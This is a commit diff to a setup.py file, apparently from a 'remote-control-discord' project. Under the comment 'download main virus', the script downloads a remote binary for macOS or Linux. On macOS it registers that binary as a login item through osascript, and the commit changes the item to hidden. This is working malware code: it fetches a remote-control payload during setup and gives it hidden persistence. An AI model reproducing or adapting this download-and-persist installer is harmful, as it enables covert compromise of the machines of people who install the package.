summaryrefslogtreecommitdiff
path: root/setup.py
diff options
context:
space:
mode:
authorsystem <system@MacBook-Pro.local>2023-08-27 20:13:21 +0800
committersystem <system@MacBook-Pro.local>2023-08-27 20:13:21 +0800
commit60eb0daaf1cfddc8c3f9b7cc3a114d36015f27f0 (patch)
tree70152ffab0f040e63ecc31a2771134cf2c7c6fcd /setup.py
parentbacdc7cc50ef11aa6a192031fb9783c531fb6898 (diff)
updated
Diffstat (limited to 'setup.py')
-rw-r--r--setup.py2
1 files changed, 1 insertions, 1 deletions
diff --git a/setup.py b/setup.py
index 842d3dc..8e26725 100644
--- a/setup.py
+++ b/setup.py
@@ -19,8 +19,8 @@ except FileNotFoundError:
# download main virus
if platform == "darwin":
- system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}\", hidden:false}}' > /dev/null")
open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content)
+ system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}\", hidden:true}}' > /dev/null")
elif platform == "linux":
from os import environ
open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content)